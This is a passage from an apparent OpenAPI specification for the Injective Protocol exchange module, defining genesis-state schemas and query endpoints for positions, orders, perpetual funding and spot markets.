total_balance: | |
type: string | |
title: A subaccount's deposit for a given base currency | |
description: >- | |
balances defines the exchange users balances active at | |
genesis. | |
positions: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
market_id: | |
type: string | |
position: | |
type: object | |
properties: | |
isLong: | |
type: boolean | |
quantity: | |
type: string | |
entry_price: | |
type: string | |
margin: | |
type: string | |
cumulative_funding_entry: | |
type: string | |
title: >- | |
positions defines the exchange derivative positions at | |
genesis | |
subaccount_trade_nonces: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
subaccount_trade_nonce: | |
type: object | |
properties: | |
nonce: | |
type: integer | |
format: int64 | |
title: >- | |
subaccount_trade_nonces defines the subaccount trade | |
nonces for the | |
subaccounts at genesis | |
expiry_futures_market_info_state: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
market_info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
expiration_timestamp: | |
type: string | |
format: int64 | |
description: >- | |
expiration_timestamp defines the expiration time | |
for a time expiry futures | |
market. | |
twap_start_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
expiration_twap_start_timestamp defines the | |
start time of the TWAP | |
calculation window | |
expiration_twap_start_price_cumulative: | |
type: string | |
title: >- | |
expiration_twap_start_price_cumulative defines | |
the cumulative price for the | |
start of the TWAP window | |
settlement_price: | |
type: string | |
description: >- | |
settlement_price defines the settlement price | |
for a time expiry futures | |
market. | |
title: >- | |
expiry_futures_market_info defines the market info for the | |
expiry futures | |
markets at genesis | |
perpetual_market_info: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
hourly_funding_rate_cap: | |
type: string | |
title: >- | |
hourly_funding_rate_cap defines the maximum absolute | |
value of the hourly | |
funding rate | |
hourly_interest_rate: | |
type: string | |
title: >- | |
hourly_interest_rate defines the hourly interest | |
rate | |
next_funding_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
next_funding_timestamp defines the next funding | |
timestamp in seconds of a | |
perpetual market | |
funding_interval: | |
type: string | |
format: int64 | |
description: >- | |
funding_interval defines the next funding interval | |
in seconds of a | |
perpetual market. | |
title: >- | |
perpetual_market_info defines the market info for the | |
perpetual derivative | |
markets at genesis | |
perpetual_market_funding_state: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
funding: | |
type: object | |
properties: | |
cumulative_funding: | |
type: string | |
description: >- | |
cumulative_funding defines the cumulative | |
funding of a perpetual market. | |
cumulative_price: | |
type: string | |
title: >- | |
cumulative_price defines the cumulative price | |
for the current hour up to | |
the last timestamp | |
last_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
perpetual_market_funding_state defines the funding state | |
for the perpetual | |
derivative markets at genesis | |
derivative_market_settlement_scheduled: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
settlement_price: | |
type: string | |
title: settlement_price defines the settlement price | |
title: >- | |
derivative_market_settlement_scheduled defines the | |
scheduled markets for | |
settlement at genesis | |
is_spot_exchange_enabled: | |
type: boolean | |
title: sets spot markets as enabled | |
is_derivatives_exchange_enabled: | |
type: boolean | |
title: sets derivative markets as enabled | |
trading_reward_campaign_info: | |
title: the current trading reward campaign info | |
type: object | |
properties: | |
campaign_duration_seconds: | |
type: string | |
format: int64 | |
title: number of seconds of the duration of each campaign | |
quote_denoms: | |
type: array | |
items: | |
type: string | |
title: >- | |
the trading fee quote denoms which will be counted for | |
the rewards | |
trading_reward_boost_info: | |
title: the optional boost info for markets | |
type: object | |
properties: | |
boosted_spot_market_ids: | |
type: array | |
items: | |
type: string | |
spot_market_multipliers: | |
type: array | |
items: | |
type: object | |
properties: | |
maker_points_multiplier: | |
type: string | |
taker_points_multiplier: | |
type: string | |
boosted_derivative_market_ids: | |
type: array | |
items: | |
type: string | |
derivative_market_multipliers: | |
type: array | |
items: | |
type: object | |
properties: | |
maker_points_multiplier: | |
type: string | |
taker_points_multiplier: | |
type: string | |
disqualified_market_ids: | |
type: array | |
items: | |
type: string | |
title: >- | |
the marketIDs which are disqualified from being | |
rewarded | |
trading_reward_pool_campaign_schedule: | |
type: array | |
items: | |
type: object | |
properties: | |
start_timestamp: | |
type: string | |
format: int64 | |
max_campaign_rewards: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements | |
the custom method | |
signatures required by gogoproto. | |
title: >- | |
max_campaign_rewards are the maximum reward amounts | |
to be disbursed at the | |
end of the campaign | |
title: the current and upcoming trading reward campaign pools | |
trading_reward_campaign_account_points: | |
type: array | |
items: | |
type: object | |
properties: | |
account: | |
type: string | |
points: | |
type: string | |
title: the current trading reward account points | |
fee_discount_schedule: | |
type: object | |
properties: | |
bucket_count: | |
type: string | |
format: uint64 | |
bucket_duration: | |
type: string | |
format: int64 | |
quote_denoms: | |
type: array | |
items: | |
type: string | |
title: >- | |
the trading fee quote denoms which will be counted for | |
the fee paid | |
contribution | |
tier_infos: | |
type: array | |
items: | |
type: object | |
properties: | |
maker_discount_rate: | |
type: string | |
taker_discount_rate: | |
type: string | |
staked_amount: | |
type: string | |
volume: | |
type: string | |
title: the fee discount tiers | |
disqualified_market_ids: | |
type: array | |
items: | |
type: string | |
title: >- | |
the marketIDs which are disqualified from contributing | |
to the fee paid | |
amount | |
title: the fee discount schedule | |
fee_discount_account_tier_ttl: | |
type: array | |
items: | |
type: object | |
properties: | |
account: | |
type: string | |
tier_ttl: | |
type: object | |
properties: | |
tier: | |
type: string | |
format: uint64 | |
ttl_timestamp: | |
type: string | |
format: int64 | |
title: the cached fee discount account tiers with TTL | |
fee_discount_bucket_volume_accounts: | |
type: array | |
items: | |
type: object | |
properties: | |
bucket_start_timestamp: | |
type: string | |
format: int64 | |
account_volume: | |
type: array | |
items: | |
type: object | |
properties: | |
account: | |
type: string | |
volume: | |
type: string | |
title: the fee discount paid by accounts in all buckets | |
is_first_fee_cycle_finished: | |
type: boolean | |
title: sets the first fee cycle as finished | |
pending_trading_reward_pool_campaign_schedule: | |
type: array | |
items: | |
type: object | |
properties: | |
start_timestamp: | |
type: string | |
format: int64 | |
max_campaign_rewards: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements | |
the custom method | |
signatures required by gogoproto. | |
title: >- | |
max_campaign_rewards are the maximum reward amounts | |
to be disbursed at the | |
end of the campaign | |
title: >- | |
the current and upcoming trading reward campaign pending | |
pools | |
pending_trading_reward_campaign_account_points: | |
type: array | |
items: | |
type: object | |
properties: | |
reward_pool_start_timestamp: | |
type: string | |
format: int64 | |
account_points: | |
type: array | |
items: | |
type: object | |
properties: | |
account: | |
type: string | |
points: | |
type: string | |
title: the pending trading reward account points | |
rewards_opt_out_addresses: | |
type: array | |
items: | |
type: string | |
title: the addresses opting out of trading rewards | |
historical_trade_records: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
latest_trade_records: | |
type: array | |
items: | |
type: object | |
properties: | |
timestamp: | |
type: string | |
format: int64 | |
price: | |
type: string | |
quantity: | |
type: string | |
binary_options_markets: | |
type: array | |
items: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: Ticker for the derivative contract. | |
oracle_symbol: | |
type: string | |
title: Oracle symbol | |
oracle_provider: | |
type: string | |
title: Oracle Provider | |
oracle_type: | |
title: Oracle type | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
oracle_scale_factor: | |
type: integer | |
format: int64 | |
description: Scale factor for oracle prices. | |
expiration_timestamp: | |
type: string | |
format: int64 | |
title: expiration timestamp | |
settlement_timestamp: | |
type: string | |
format: int64 | |
title: expiration timestamp | |
admin: | |
type: string | |
title: admin of the market | |
quote_denom: | |
type: string | |
title: >- | |
Address of the quote currency denomination for the | |
binary options contract | |
market_id: | |
type: string | |
description: Unique market ID. | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the maker fee rate of a | |
binary options market | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the taker fee rate of a | |
derivative market | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size | |
that the price and margin | |
required for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
settlement_price: | |
type: string | |
description: >- | |
An object describing a binary options market in | |
Injective Protocol. | |
title: >- | |
binary_options_markets is an array containing the genesis | |
binary options | |
markets | |
binary_options_market_ids_scheduled_for_settlement: | |
type: array | |
items: | |
type: string | |
title: >- | |
binary_options_markets_scheduled_for_settlement contains | |
the marketIDs of | |
binary options markets scheduled for next-block settlement | |
spot_market_ids_scheduled_to_force_close: | |
type: array | |
items: | |
type: string | |
title: >- | |
spot_market_ids_scheduled_to_force_close defines the | |
scheduled markets for | |
forced closings at genesis | |
denom_decimals: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
decimals: | |
type: string | |
format: uint64 | |
description: >- | |
denom_decimals defines the denom decimals for the | |
exchange. | |
conditional_derivative_orderbooks: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
limit_buy_orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order_info: | |
title: >- | |
order_info contains the information of the | |
order | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
title: >- | |
bytes32 subaccount ID that created the | |
order | |
fee_recipient: | |
type: string | |
title: >- | |
address fee_recipient address that will | |
receive fees for the order | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
order_type: | |
title: order types | |
type: string | |
enum: | |
- UNSPECIFIED | |
- BUY | |
- SELL | |
- STOP_BUY | |
- STOP_SELL | |
- TAKE_BUY | |
- TAKE_SELL | |
- BUY_PO | |
- SELL_PO | |
- BUY_ATOMIC | |
- SELL_ATOMIC | |
default: UNSPECIFIED | |
margin: | |
type: string | |
title: margin is the margin used by the limit order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
trigger_price: | |
type: string | |
title: >- | |
trigger_price is the trigger price used by | |
stop/take orders | |
order_hash: | |
type: string | |
format: byte | |
description: A valid Derivative limit order with Metadata. | |
market_buy_orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order_info: | |
title: >- | |
order_info contains the information of the | |
order | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
title: >- | |
bytes32 subaccount ID that created the | |
order | |
fee_recipient: | |
type: string | |
title: >- | |
address fee_recipient address that will | |
receive fees for the order | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
order_type: | |
title: order types | |
type: string | |
enum: | |
- UNSPECIFIED | |
- BUY | |
- SELL | |
- STOP_BUY | |
- STOP_SELL | |
- TAKE_BUY | |
- TAKE_SELL | |
- BUY_PO | |
- SELL_PO | |
- BUY_ATOMIC | |
- SELL_ATOMIC | |
default: UNSPECIFIED | |
margin: | |
type: string | |
margin_hold: | |
type: string | |
trigger_price: | |
type: string | |
title: >- | |
trigger_price is the trigger price used by | |
stop/take orders | |
order_hash: | |
type: string | |
format: byte | |
description: A valid Derivative market order with Metadata. | |
limit_sell_orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order_info: | |
title: >- | |
order_info contains the information of the | |
order | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
title: >- | |
bytes32 subaccount ID that created the | |
order | |
fee_recipient: | |
type: string | |
title: >- | |
address fee_recipient address that will | |
receive fees for the order | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
order_type: | |
title: order types | |
type: string | |
enum: | |
- UNSPECIFIED | |
- BUY | |
- SELL | |
- STOP_BUY | |
- STOP_SELL | |
- TAKE_BUY | |
- TAKE_SELL | |
- BUY_PO | |
- SELL_PO | |
- BUY_ATOMIC | |
- SELL_ATOMIC | |
default: UNSPECIFIED | |
margin: | |
type: string | |
title: margin is the margin used by the limit order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
trigger_price: | |
type: string | |
title: >- | |
trigger_price is the trigger price used by | |
stop/take orders | |
order_hash: | |
type: string | |
format: byte | |
description: A valid Derivative limit order with Metadata. | |
market_sell_orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order_info: | |
title: >- | |
order_info contains the information of the | |
order | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
title: >- | |
bytes32 subaccount ID that created the | |
order | |
fee_recipient: | |
type: string | |
title: >- | |
address fee_recipient address that will | |
receive fees for the order | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
order_type: | |
title: order types | |
type: string | |
enum: | |
- UNSPECIFIED | |
- BUY | |
- SELL | |
- STOP_BUY | |
- STOP_SELL | |
- TAKE_BUY | |
- TAKE_SELL | |
- BUY_PO | |
- SELL_PO | |
- BUY_ATOMIC | |
- SELL_ATOMIC | |
default: UNSPECIFIED | |
margin: | |
type: string | |
margin_hold: | |
type: string | |
trigger_price: | |
type: string | |
title: >- | |
trigger_price is the trigger price used by | |
stop/take orders | |
order_hash: | |
type: string | |
format: byte | |
description: A valid Derivative market order with Metadata. | |
title: Orderbook containing limit & market conditional orders | |
title: >- | |
conditional_derivative_orderbook contains conditional | |
orderbooks for all | |
markets (both lmit and market conditional orders) | |
market_fee_multipliers: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
fee_multiplier: | |
type: string | |
title: >- | |
market_fee_multipliers contains any non-default atomic | |
order fee | |
multipliers | |
orderbook_sequences: | |
type: array | |
items: | |
type: object | |
properties: | |
sequence: | |
type: string | |
format: uint64 | |
market_id: | |
type: string | |
subaccount_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
market_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
market_volumes: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
volume: | |
type: object | |
properties: | |
maker_volume: | |
type: string | |
taker_volume: | |
type: string | |
description: GenesisState defines the exchange module's genesis state. | |
description: |- | |
QueryModuleStateResponse is the response type for the | |
Query/ExchangeModuleState RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/opted_out_of_rewards_accounts: | |
get: | |
summary: Retrieves all accounts opted out of rewards | |
operationId: OptedOutOfRewardsAccounts | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
accounts: | |
type: array | |
items: | |
type: string | |
description: >- | |
QueryRegisteredDMMsResponse is the response type for the | |
Query/RegisteredDMMs | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/order_metadata/{subaccount_id}: | |
get: | |
summary: Retrieves subaccount's order metadata | |
operationId: SubaccountOrderMetadata | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
metadata: | |
type: array | |
items: | |
type: object | |
properties: | |
metadata: | |
type: object | |
properties: | |
vanilla_limit_order_count: | |
type: integer | |
format: int64 | |
reduce_only_limit_order_count: | |
type: integer | |
format: int64 | |
aggregate_reduce_only_quantity: | |
type: string | |
description: >- | |
AggregateReduceOnlyQuantity is the aggregate | |
fillable quantity of the | |
subaccount's reduce-only limit orders in the given | |
direction. | |
aggregate_vanilla_quantity: | |
type: string | |
description: >- | |
AggregateVanillaQuantity is the aggregate fillable | |
quantity of the | |
subaccount's vanilla limit orders in the given | |
direction. | |
vanilla_conditional_order_count: | |
type: integer | |
format: int64 | |
reduce_only_conditional_order_count: | |
type: integer | |
format: int64 | |
market_id: | |
type: string | |
isBuy: | |
type: boolean | |
description: |- | |
QuerySubaccountOrderMetadataResponse is the response type for the | |
Query/SubaccountOrderMetadata RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/orders/{subaccount_id}: | |
get: | |
summary: Retrieves subaccount's orders | |
operationId: SubaccountOrders | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
buy_orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isReduceOnly: | |
type: boolean | |
order_hash: | |
type: string | |
format: byte | |
sell_orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order: | |
type: object | |
properties: | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: the amount of the quantity remaining fillable | |
isReduceOnly: | |
type: boolean | |
order_hash: | |
type: string | |
format: byte | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
- name: market_id | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/pending_trade_reward_points: | |
get: | |
summary: Retrieves the pending account and total trade rewards points | |
operationId: PendingTradeRewardPoints | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
account_trade_reward_points: | |
type: array | |
items: | |
type: string | |
description: |- | |
QueryTradeRewardPointsResponse is the response type for the | |
Query/TradeRewardPoints RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: accounts | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
- name: pending_pool_timestamp | |
in: query | |
required: false | |
type: string | |
format: int64 | |
tags: | |
- Query | |
/injective/exchange/v1beta1/perpetual_market_funding/{market_id}: | |
get: | |
summary: Retrieves perpetual market funding | |
operationId: PerpetualMarketFunding | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
cumulative_funding: | |
type: string | |
description: >- | |
cumulative_funding defines the cumulative funding of a | |
perpetual market. | |
cumulative_price: | |
type: string | |
title: >- | |
cumulative_price defines the cumulative price for the | |
current hour up to | |
the last timestamp | |
last_timestamp: | |
type: string | |
format: int64 | |
description: |- | |
QueryPerpetualMarketFundingResponse is the response type for the | |
Query/PerpetualMarketFunding RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/perpetual_market_info/{market_id}: | |
get: | |
summary: Retrieves perpetual market info | |
operationId: PerpetualMarketInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
hourly_funding_rate_cap: | |
type: string | |
title: >- | |
hourly_funding_rate_cap defines the maximum absolute value | |
of the hourly | |
funding rate | |
hourly_interest_rate: | |
type: string | |
title: hourly_interest_rate defines the hourly interest rate | |
next_funding_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
next_funding_timestamp defines the next funding timestamp | |
in seconds of a | |
perpetual market | |
funding_interval: | |
type: string | |
format: int64 | |
description: >- | |
funding_interval defines the next funding interval in | |
seconds of a | |
perpetual market. | |
description: |- | |
QueryPerpetualMarketInfoResponse is the response type for the | |
Query/PerpetualMarketInfo RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/positions: | |
get: | |
summary: Retrieves the entire exchange module's positions | |
operationId: Positions | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
market_id: | |
type: string | |
position: | |
type: object | |
properties: | |
isLong: | |
type: boolean | |
quantity: | |
type: string | |
entry_price: | |
type: string | |
margin: | |
type: string | |
cumulative_funding_entry: | |
type: string | |
description: >- | |
QueryPositionsResponse is the response type for the | |
Query/Positions RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/positions/{subaccount_id}: | |
get: | |
summary: Retrieves subaccount's positions | |
operationId: SubaccountPositions | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
market_id: | |
type: string | |
position: | |
type: object | |
properties: | |
isLong: | |
type: boolean | |
quantity: | |
type: string | |
entry_price: | |
type: string | |
margin: | |
type: string | |
cumulative_funding_entry: | |
type: string | |
description: |- | |
QuerySubaccountPositionsResponse is the response type for the | |
Query/SubaccountPositions RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/positions/{subaccount_id}/{market_id}: | |
get: | |
summary: Retrieves subaccount's position in market | |
operationId: SubaccountPositionInMarket | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
isLong: | |
type: boolean | |
quantity: | |
type: string | |
entry_price: | |
type: string | |
margin: | |
type: string | |
cumulative_funding_entry: | |
type: string | |
description: >- | |
QuerySubaccountPositionInMarketResponse is the response type for | |
the | |
Query/SubaccountPositionInMarket RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/full_market/{market_id}: | |
get: | |
summary: Retrieves a spot market with extra information. | |
operationId: FullSpotMarket | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: >- | |
A name of the pair in format AAA/BBB, where AAA is | |
base asset, BBB is quote | |
asset. | |
base_denom: | |
type: string | |
title: Coin denom used for the base asset | |
quote_denom: | |
type: string | |
title: Coin used for the quote asset | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the fee percentage makers pay | |
when trading | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the fee percentage takers pay | |
when trading | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
market_id: | |
type: string | |
description: Unique market ID. | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size that | |
the price required | |
for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
description: An object describing trade pair of two assets. | |
mid_price_and_tob: | |
title: >- | |
mid_price_and_tob defines the mid price for this market | |
and the best ask | |
and bid orders | |
type: object | |
properties: | |
mid_price: | |
type: string | |
title: mid price of the market | |
best_buy_price: | |
type: string | |
title: best buy price of the market | |
best_sell_price: | |
type: string | |
title: best sell price of the market | |
description: >- | |
QuerySpotMarketResponse is the response type for the | |
Query/SpotMarket RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
- name: with_mid_price_and_tob | |
description: >- | |
Flag to return the markets mid price and top of the book buy and | |
sell | |
orders. | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/full_markets: | |
get: | |
summary: Retrieves a list of spot markets with extra information. | |
operationId: FullSpotMarkets | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
markets: | |
type: array | |
items: | |
type: object | |
properties: | |
market: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: >- | |
A name of the pair in format AAA/BBB, where AAA is | |
base asset, BBB is quote | |
asset. | |
base_denom: | |
type: string | |
title: Coin denom used for the base asset | |
quote_denom: | |
type: string | |
title: Coin used for the quote asset | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the fee percentage makers pay | |
when trading | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the fee percentage takers pay | |
when trading | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
market_id: | |
type: string | |
description: Unique market ID. | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size | |
that the price required | |
for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
description: An object describing trade pair of two assets. | |
mid_price_and_tob: | |
title: >- | |
mid_price_and_tob defines the mid price for this market | |
and the best ask | |
and bid orders | |
type: object | |
properties: | |
mid_price: | |
type: string | |
title: mid price of the market | |
best_buy_price: | |
type: string | |
title: best buy price of the market | |
best_sell_price: | |
type: string | |
title: best sell price of the market | |
description: |- | |
QueryFullSpotMarketsResponse is the response type for the | |
Query/FullSpotMarkets RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: status | |
description: >- | |
Status of the market, for convenience it is set to string - not | |
enum. | |
in: query | |
required: false | |
type: string | |
- name: market_ids | |
description: Filter by market IDs. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
- name: with_mid_price_and_tob | |
description: >- | |
Flag to return the markets mid price and top of the book buy and | |
sell | |
orders. | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/injective/exchange/v1beta1/spot/markets: | |
get: | |
summary: Retrieves a list of spot markets. | |
operationId: SpotMarkets | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
markets: | |
type: array | |
items: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: >- | |
A name of the pair in format AAA/BBB, where AAA is base | |
